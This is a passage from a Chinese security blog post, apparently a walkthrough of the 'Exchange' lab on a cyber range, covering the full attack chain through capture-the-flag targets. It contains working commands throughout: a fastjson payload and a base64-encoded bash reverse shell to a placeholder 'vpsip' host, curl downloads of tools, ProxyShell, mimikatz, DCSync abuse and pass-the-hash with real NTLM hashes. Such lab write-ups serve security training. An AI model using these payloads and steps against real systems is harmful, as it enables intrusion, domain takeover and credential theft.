：声明：该公众号分享的安全工具和项目均来源于网络，仅供安全研究与学习之用，如用于其他用途，由使用者承担全部法律及连带责任，与工具作者和本公众号无关
现在只对常读和星标的公众号才展示大图推送，建议大家把猫蛋儿安全“设为星标”，否则可能看不到了！
靶场简介
Exchange 是一套难度为中等的靶场环境，完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法，加强对域环境核心认证机制的理解，以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 Flag，分布于不同的靶机。
获取入口机权限
nmap对目标ip进行扫描，发现8080存在华夏erp，华夏erp存在历史漏洞：未授权访问和fastjson反序列化漏洞
可以尝试fastjson的mysql反序列化
https://github.com/fnmsd/MySQL_Fake_Server
config.json配置：
{"config":{"ysoserialPath":"ysoserial-all.jar","javaBinPath":"java","fileOutputDir":"./fileOutput/","displayFileContentOnScreen":true,"saveToFile":true},"fileread":{"win_ini":"c:\windows\win.ini","win_hosts":"c:\windows\system32\drivers\etc\hosts","win":"c:\windows\","linux_passwd":"/etc/passwd","linux_hosts":"/etc/hosts","index_php":"index.php","ssrf":"https://www.baidu.com/","__defaultFiles":["/etc/hosts","c:\windows\system32\drivers\etc\hosts"]},"yso":{"Jdk7u21":["Jdk7u21","calc"],"CommonsCollections6":["CommonsCollections6","bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC92cHNpcC84MDA5IDA+JjEK}|{base64,-d}|{bash,-i}"]}}
开启恶意mysql服务，然后通过burp进行漏洞利用：
{ "name": { "@type": "java.lang.AutoCloseable", "@type": "com.mysql.jdbc.JDBC4Connection", "hostToConnectTo": "vpsip", "portToConnectTo": 3306, "info": { "user": "CommonsCollections6", "password": "pass", "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor", "autoDeserialize": "true", "NUM_HOSTS": "1" } }GET /a.css/../systemConfig/list?search=%7B%20%22name%22%3A%20%7B%20%22%40type%22%3A%20%22java.lang.AutoCloseable%22%2C%20%22%40type%22%3A%20%22com.mysql.jdbc.JDBC4Connection%22%2C%20%22hostToConnectTo%22%3A%20%22vpsip%22%2C%20%22portToConnectTo%22%3A%203306%2C%20%22info%22%3A%20%7B%20%22user%22%3A%20%22CommonsCollections6%22%2C%20%22password%22%3A%20%22pass%22%2C%20%22statementInterceptors%22%3A%20%22com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor%22%2C%20%22autoDeserialize%22%3A%20%22true%22%2C%20%22NUM_HOSTS%22%3A%20%221%22%20%7D%20%7D¤tPage=1&pageSize=10 HTTP/1.1Host: 47.92.212.159:8000Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Edg/85.0.564.60X-Requested-With: XMLHttpRequestReferer:http://47.116.69.14/pages/manage/systemConfig.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,pl;q=0.5Connection: close
获得flag01：flag{1accd7bc-ec2f-4935-90f2-de68cd76dfa3}
内网横向
上传fscan对当前c段进行扫描
curl http://vpsip:8001/fscan_amd64 --output fscan_amd64chmod +x ./fscan_amd64./fscan_amd64 -h 172.22.3.1/24
./fscan_amd64 -h 172.22.3.1/24___ _/ _ ___ ___ _ __ __ _ ___| | __/ /_/____/ __|/ __| '__/ _` |/ __| |/ // /_\_______ (__| | | (_| | (__| <____/ |___/___|_| __,_|___|_|_fscan version: 1.8.2start infoscan(icmp) Target 172.22.3.12 is alive(icmp) Target 172.22.3.2 is alive(icmp) Target 172.22.3.26 is alive(icmp) Target 172.22.3.9 is alive[*] Icmp alive hosts len is: 4172.22.3.9:808 open172.22.3.12:80 open172.22.3.12:22 open172.22.3.9:8172 open172.22.3.12:8000 open172.22.3.9:445 open172.22.3.26:445 open172.22.3.2:445 open172.22.3.2:88 open172.22.3.9:443 open172.22.3.9:139 open172.22.3.2:139 open172.22.3.26:139 open172.22.3.9:135 open172.22.3.26:135 open172.22.3.2:135 open172.22.3.9:81 open172.22.3.9:80 open[*] alive ports len is: 18start vulscan[*] WebTitle: http://172.22.3.12 code:200 len:19813 title:lumia[*] NetInfo:[*]172.22.3.2[->]XIAORANG-WIN16[->]172.22.3.2[*] NetBios: 172.22.3.2 [+]DC XIAORANG-WIN16.xiaorang.lab Windows Server 2016 Datacenter 14393[*] NetBios: 172.22.3.26 XIAORANGXIAORANG-PC[*] 172.22.3.2 (Windows Server 2016 Datacenter 14393)[*] NetInfo:[*]172.22.3.26[->]XIAORANG-PC[->]172.22.3.26[*] NetInfo:[*]172.22.3.9[->]XIAORANG-EXC01[->]172.22.3.9[*] WebTitle: http://172.22.3.12:8000 code:302 len:0 title:None 跳转url: http://172.22.3.12:8000/login.html[*] NetBios: 172.22.3.9 XIAORANG-EXC01.xiaorang.lab Windows Server 2016 Datacenter 14393[*] WebTitle: http://172.22.3.12:8000/login.html code:200 len:5662 title:Lumia ERP[*] WebTitle: http://172.22.3.9:81 code:403 len:1157 title:403 - 禁止访问: 访问被拒绝。[*] WebTitle: https://172.22.3.9:8172 code:404 len:0 title:None[*] WebTitle: http://172.22.3.9 code:403 len:0 title:None[*] WebTitle: https://172.22.3.9 code:302 len:0 title:None 跳转url: https://172.22.3.9/owa/[*] WebTitle: https://172.22.3.9/owa/auth/logon.aspx?url=https%3a%2f%2f172.22.3.9%2fowa%2f&reason=0 code:200 len:28237 title:Outlook
frp内网穿透，进入目标内网
curl http://vpsip:8001/frpc --output frpccurl http://vpsip:8001/frpc.ini --output frpc.inichmod +x ./frpcnohup ./frpc -c frpc.ini
通过fscan扫描结果发现172.22.3.9是exchange，目前没有任何域内凭证，但是我们可以尝试一下不需要域内凭证的proxyshell
成功利用proxyshell，添加域内alice用户，并将其添加到当前exchange的本地管理员组当中。
python3 proxyshell.py -t XIAORANG-EXC01.xiaorang.lab
通过alice用户rdp到exchange，随后利用mimikatz导出lsass文件凭证
XIAORANG-EXC01$/e95225f6e2b6b094e532db3a02811ee2Zhangtong/22c7f81993e96ac83ac2f3f1903de8b4
获取flag02：flag{edb4d500-706f-4197-a33b-0ea8d79e3e44}
刚刚获取到了域内主机XIAORANG-EXC01$的hash，域机器用户是特使的域用户，同样可以进行域内认证。通过https://github.com/lzzbb/Adinfo获取域内信息
./Adinfo_darwin -d xiaorang.lab --dc 172.22.3.2 -u XIAORANG-EXC01$ -H e95225f6e2b6b094e532db3a02811ee2
exchange机器账户隶属于Exchange Windows Permissions这个组中，而这个组具有write 域内acl权限，所以可以设置刚刚通过mimikatz拿到的域内用户Zhangtong的dcsync属性。
python3 Dcsync.py -dc XIAORANG-WIN16.xiaorang.lab -t 'CN=Zhangtong,CN=Users,DC=xiaorang,DC=lab' 'xiaorangXIAORANG-EXC01$' -hashes :e95225f6e2b6b094e532db3a02811ee2
设置了Zhangtong的dcsync属性后，通过secretsdump来dump出域内hash：
python3 secretsdump.py [email protected] -just-dc-user administrator -hashes :22c7f81993e96ac83ac2f3f1903de8b4
随后通过域管理员的hash进行wmiexec连接：
python3 wmiexec.py [email protected] -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb -codec gbk在dc上获取flag04:flag{965bedbc-0311-4c9e-8931-4ecccd88469a}
172.22.3.26这个机器还没利用，发现Lumia桌面下存在secret.zip文件
python3 smbclient.py xiaorang.lab/[email protected] -hashes :7acbc09a6c0efd81bfa7d5a1d4238beb
下载后，打开提示需要密码
获得Lumia密码
python3 secretsdump.py [email protected] -just-dc-user Lumia -hashes :22c7f81993e96ac83ac2f3f1903de8b4
现在我们有了Lumia的hash但是解不出明文密码，可以使用https://github.com/Jumbo-WJB/PTH_Exchange从exchange把Lumia的邮件内容拖下来
python3 pthexchange.py --target https://172.22.3.9 --username Lumia --password "00000000000000000000000000000000:862976f8b23c13529c2fb1428e710296" --action Download
发现存在两个邮件，secret.zip密码在左边phone lists中
通过john爆破zip的密码
zip2john secret.zip>zip.secjohn zip.sec --format=pkzip --wordlist=phone.lst
爆破成功，解压获得flag03：flag{cf0c753c-233f-4729-8984-0746ea5878b7}
关于我们
点击下方名片进入公众号，欢迎关注！
点个小赞你最好看
原文始发于微信公众号（猫蛋儿安全）：春秋云镜-exchange-WriteUp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论